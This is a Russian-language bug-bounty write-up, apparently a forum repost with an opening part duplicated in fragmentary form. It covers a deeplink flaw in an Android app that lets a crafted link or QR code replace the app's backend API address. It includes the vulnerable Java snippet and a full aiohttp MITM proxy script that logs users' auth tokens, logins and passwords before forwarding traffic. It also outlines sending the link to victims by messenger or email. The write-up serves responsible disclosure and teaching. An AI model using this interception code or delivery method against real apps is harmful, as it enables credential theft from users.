stihl не предоставил(а) никакой дополнительной информации.
Сегодня я расскажу про один необычный случай из моего опыта участия в программах багбаунти. Но изнуряющего исследования и жесткого реверса в этот раз не будет — все самое интересное оказалось прямо на поверхности, нужно было только хорошенько присмотреться.
Это исследование получило второе место на Для просмотра ссылки Войдиили Зарегистрируйся в категории «Мобильный разлом». Соревнование ежегодно проводится компанией Awillix.
Исторически так сложилось, что веб всегда смотрят в разы активнее, чем мобилки. И, на мой взгляд, это прекрасно, так как для исследователей, готовых закопаться, к примеру, в откручивание нестандартной реализации пиннинга в приложении на Flutter, это открывает возможность находить множество интересных вещей в условиях не такой активной конкуренции. Понимая это и устав от периодического купания в потоке дубликатов, я решил начать изучение именно с мобильного приложения.
или Зарегистрируйся для VS Code, быстро и просто разбираем приложение до кода на Smali и местами Java, снимаем SSL-пиннинг — с целью дальнейшего перехвата трафика и его анализа в Burp Suite.
Для просмотра ссылки Войдиили Зарегистрируйся
Подписав и установив приложение на устройство для тестирования, закручиваем трафик через наш прокси‑сервер и исследуем сетевую активность при работе с приложением. В ходе исследования я нашел несколько уязвимостей прожарки medium — когда мне открылся весь процесс взаимодействия приложения с мобильным API. Но я охотился за критами, поэтому не стал останавливаться на достигнутом и занырнул глубже.
При изучении мобильного приложения в первую очередь хорошо бы найти такие возможности, которые позволили бы нарушить конфиденциальность, целостность и доступность информации для множества пользователей без физического доступа к конкретному устройству.
Держа в голове этот факт, копаем код и ищем любые возможности, позволяющие оказать какое‑либо удаленное воздействие на хранимые или передаваемые данные.
К сожалению, функция remoteExecuteCode_OnProductionServer_AndGetDomainAdmin() в приложении отсутствовала, но нашлось нечто иное.
Для просмотра ссылки Войдиили Зарегистрируйся
Диплинк — это такой URL, переход по которому будет обработан приложением. Например, будет отображен какой‑то контент или активируется передача данных, изменится настройка. Звучит интересно, особенно в контексте того, что мы хотели бы обнаружить.
Внимательно взглянув на функцию, связанную с обработкой диплинков, я заметил, что существуют некоторые обрабатываемые ей параметры, позволяющие передавать через сформированный URL данные напрямую в приложение.
Для просмотра ссылки Войдиили Зарегистрируйся
Присмотрись. Замечаешь в коде что‑нибудь необычное? 3... 2... 1...
Да, все именно так! Ты ведь тоже заметил? Через сформированный диплинк в параметре LinkConstant.API_HOST мы можем передать в приложение какое‑то значение, которое подставится в this.baseURL вместо подставляемого по дефолту значения из AppURLS.productionBaseURL.
Для просмотра ссылки Войди или Зарегистрируйся
И что же мы видим? Что через специально сформированный диплинк мы можем в параметре host передать любой домен, который в итоге будет записан в локальное хранилище на устройстве как легитимный адрес backend API!
После этого все запросы приложения будут отправляться на новый, переданный через диплинк адрес! Да это же полноценный 1-click MITM, с возможностью компрометации всей протекающей между клиентом и сервером информации (включая авторизационные токены и клиентские данные). Звучит круто, но пока это только теория. Давай проверим ее!
Покупаем домен (он будет использован для MITM), прикручиваем SSL (Certbot нам в помощь) и используем ChatGPT, чтобы быстро написать прокси‑сервер, логирующий все проходящие запросы и ответы, а затем перенаправляющий запросы к легитимному серверу бэкенда. Вайбкодинг — наше всё, особенно в условиях, когда багхантеру нужно торопиться, пока уязвимость не принес кто‑то другой!
Получаем что‑то такое:
import logging
from aiohttp import web
import aiohttp
logging.basicConfig(level=logging.INFO)
# Настраиваем логирование для записи запросов и ответов
Здесь у нас
Для просмотра ссылки Войдиили ЗарегистрируйсяА еще можно завернуть ее в QR-код.
Для просмотра ссылки Войдиили Зарегистрируйся
Запускаем сервер, отправляем ссылку любому пользователю в любом мессенджере либо QR-код по почте.
После сканирования QR или перехода по ссылке домен будет навсегда записан в хранилище приложения как легитимный API бэкенда, к которому клиент будет слать запросы. Что самое для нас хорошее — приложение вообще никак не оповещает клиента о том, что у него был перезаписан адрес сервера. И пользователь навсегда (до полного удаления приложения или перехода по новой такой ссылке) оказывается под контролем злоумышленника.
На сервере мы перехватываем все передаваемые данные (auth-токены из заголовков, логины, пароли и другую чувствительную информацию).
Для просмотра ссылки Войдиили Зарегистрируйся
Чтобы избежать подобных уязвимостей в будущем, нужно либо вообще не внедрять такие фичи, либо использовать белый список с разрешенными адресами. Вендор вскоре внедрил второй вариант, назначив мне отличную выплату.
Для просмотра ссылки Войдиили Зарегистрируйся
Реализация вайтлиста
Спасибо команде триажа — за оперативное рассмотрение репорта, быстрое исправление и разрешение раскрыть информацию для участия в конкурсе Awillix.
Ну а всем начинающим багхантерам, специалистам по анализу защищенности хочется пожелать никогда не останавливаться в процессе самосовершенствования, постоянно учиться, пробовать новое, и баги сами найдут тебя!
Это исследование получило второе место на Для просмотра ссылки Войди
Выбор цели
Исследование проводилось в рамках апрельского ивента Bugs Zone 4.0. Скоуп программы одного из вендоров‑участников включал в себя веб‑приложение, API-интерфейс к нему и мобильные приложения на iOS и Android.Исторически так сложилось, что веб всегда смотрят в разы активнее, чем мобилки. И, на мой взгляд, это прекрасно, так как для исследователей, готовых закопаться, к примеру, в откручивание нестандартной реализации пиннинга в приложении на Flutter, это открывает возможность находить множество интересных вещей в условиях не такой активной конкуренции. Понимая это и устав от периодического купания в потоке дубликатов, я решил начать изучение именно с мобильного приложения.
Приложение
Скачиваем установочный APK на Android, используя плагин Для просмотра ссылки ВойдиДля просмотра ссылки Войди
Подписав и установив приложение на устройство для тестирования, закручиваем трафик через наш прокси‑сервер и исследуем сетевую активность при работе с приложением. В ходе исследования я нашел несколько уязвимостей прожарки medium — когда мне открылся весь процесс взаимодействия приложения с мобильным API. Но я охотился за критами, поэтому не стал останавливаться на достигнутом и занырнул глубже.
Погружаемся в код
Начнем исследование кода, в который плагин APKLab превратил наш APK. На самом деле под капотом плагина работает несколько утилит, одна из которых — многим известный JADX, поэтому проделать то же самое можно было и используя его напрямую.При изучении мобильного приложения в первую очередь хорошо бы найти такие возможности, которые позволили бы нарушить конфиденциальность, целостность и доступность информации для множества пользователей без физического доступа к конкретному устройству.
Держа в голове этот факт, копаем код и ищем любые возможности, позволяющие оказать какое‑либо удаленное воздействие на хранимые или передаваемые данные.
К сожалению, функция remoteExecuteCode_OnProductionServer_AndGetDomainAdmin() в приложении отсутствовала, но нашлось нечто иное.
Что по диплинкам?
Исследуя код, я заметил интересный файл Deeplink.java. Как ты догадываешься, в нем реализована поддержка диплинков в приложении.Для просмотра ссылки Войди
Диплинк — это такой URL, переход по которому будет обработан приложением. Например, будет отображен какой‑то контент или активируется передача данных, изменится настройка. Звучит интересно, особенно в контексте того, что мы хотели бы обнаружить.
Внимательно взглянув на функцию, связанную с обработкой диплинков, я заметил, что существуют некоторые обрабатываемые ей параметры, позволяющие передавать через сформированный URL данные напрямую в приложение.
Для просмотра ссылки Войди
Присмотрись. Замечаешь в коде что‑нибудь необычное? 3... 2... 1...
Да, все именно так! Ты ведь тоже заметил? Через сформированный диплинк в параметре LinkConstant.API_HOST мы можем передать в приложение какое‑то значение, которое подставится в this.baseURL вместо подставляемого по дефолту значения из AppURLS.productionBaseURL.
Код:
else if (Url.getParameters().contains(LinkConstant.API_HOST)) {
String str4 = Url.getParameters().get(LinkConstant.API_HOST);
this.baseURL = str4 == null ? AppURLS.productionBaseURL : str4;
this.action = null;
this.isAuthorizedAction = false;
}
Найдем все значения из переменных:
LinkConstant.API_HOST = "host"
AppURLS.productionBaseURL = "web-api.ndaserver.ru"
И что же мы видим? Что через специально сформированный диплинк мы можем в параметре host передать любой домен, который в итоге будет записан в локальное хранилище на устройстве как легитимный адрес backend API!
Код:
else if (Url.getParameters().contains("host")) {
String str4 = Url.getParameters().get("host");
this.baseURL = str4 == null ? "web-api.ndaserver.ru";
this.action = null;
this.isAuthorizedAction = false;
}
После этого все запросы приложения будут отправляться на новый, переданный через диплинк адрес! Да это же полноценный 1-click MITM, с возможностью компрометации всей протекающей между клиентом и сервером информации (включая авторизационные токены и клиентские данные). Звучит круто, но пока это только теория. Давай проверим ее!
Эксплуатируем на практике
Для полноценной проверки уязвимости постараемся сделать все максимально приближенно к реальной атаке.Покупаем домен (он будет использован для MITM), прикручиваем SSL (Certbot нам в помощь) и используем ChatGPT, чтобы быстро написать прокси‑сервер, логирующий все проходящие запросы и ответы, а затем перенаправляющий запросы к легитимному серверу бэкенда. Вайбкодинг — наше всё, особенно в условиях, когда багхантеру нужно торопиться, пока уязвимость не принес кто‑то другой!
Получаем что‑то такое:
import logging
from aiohttp import web
import aiohttp
logging.basicConfig(level=logging.INFO)
# Настраиваем логирование для записи запросов и ответов
Код:
request_logger = logging.getLogger("request_logger")
request_logger.setLevel(logging.INFO)
file_handler = logging.FileHandler("requests.log")
request_logger.addHandler(file_handler)
response_logger = logging.getLogger("response_logger")
response_logger.setLevel(logging.INFO)
file_handler = logging.FileHandler("responses.log")
response_logger.addHandler(file_handler)
async def handle(request):
# Формируем запрос к целевому API
target_url = f"https://web-api.ndaserver.ru{request.path_qs}"
request_logger.info(f"Received request to {request.path}, forwarding to \
{target_url}")
# Подменяем заголовок Host
headers = request.headers.copy()
headers['Host'] = 'web-api.ndaserver.ru'
# Получаем тело запроса
request_body = await request.read()
request_logger.info(f"Request body: {request_body.decode()}")
# Отправляем запрос к целевому API
async with aiohttp.ClientSession() as session:
async with session.request(method=request.method, url=target_url,
headers=headers, data=request_body) as response:
# Получаем ответ от целевого API
content = await response.read()
response_headers = response.headers
response_logger.info(f"Response from {target_url}: {response_headers}, \
{content.decode()}")
# Отправляем ответ клиенту
return web.Response(status=response.status, headers=response_headers,
body=content)
def run_server():
app = web.Application()
app.add_routes([web.route("", "/{path:.}", handle)])
web.run_app(app, host="0.0.0.0", port=443, ssl_context=get_ssl_context())
def get_ssl_context():
import ssl
ssl_context = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(
'/etc/letsencrypt/live/testingtestingtestingsdadasdasd.ru/fullchain.pem',
'/etc/letsencrypt/live/testingtestingtestingsdadasdasd.ru/privkey.pem')
return ssl_context
if name == "main":
run_server()
Здесь у нас
- легитимный API — web-api.ndaserver.ru;
- наш сервер — testingtestingtestingsdadasdasd.ru;
- домен приложения (обрабатываемый приложением как диплинк) — ndaserver.ru.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Запускаем сервер, отправляем ссылку любому пользователю в любом мессенджере либо QR-код по почте.
После сканирования QR или перехода по ссылке домен будет навсегда записан в хранилище приложения как легитимный API бэкенда, к которому клиент будет слать запросы. Что самое для нас хорошее — приложение вообще никак не оповещает клиента о том, что у него был перезаписан адрес сервера. И пользователь навсегда (до полного удаления приложения или перехода по новой такой ссылке) оказывается под контролем злоумышленника.
На сервере мы перехватываем все передаваемые данные (auth-токены из заголовков, логины, пароли и другую чувствительную информацию).
Для просмотра ссылки Войди
Что дальше?
Я успешно протестировал уязвимость, написал отчет и отправил вендору. Как выяснилось, найденную мной функцию разработчики использовали для удобства переключения между разными средами (например, продом и тестовыми серверами) без необходимости каждый раз пересобирать все приложение. О том, что этой возможностью может заинтересоваться хакер, они при этом не подумали.Чтобы избежать подобных уязвимостей в будущем, нужно либо вообще не внедрять такие фичи, либо использовать белый список с разрешенными адресами. Вендор вскоре внедрил второй вариант, назначив мне отличную выплату.
Для просмотра ссылки Войди
Спасибо команде триажа — за оперативное рассмотрение репорта, быстрое исправление и разрешение раскрыть информацию для участия в конкурсе Awillix.
Ну а всем начинающим багхантерам, специалистам по анализу защищенности хочется пожелать никогда не останавливаться в процессе самосовершенствования, постоянно учиться, пробовать новое, и баги сами найдут тебя!
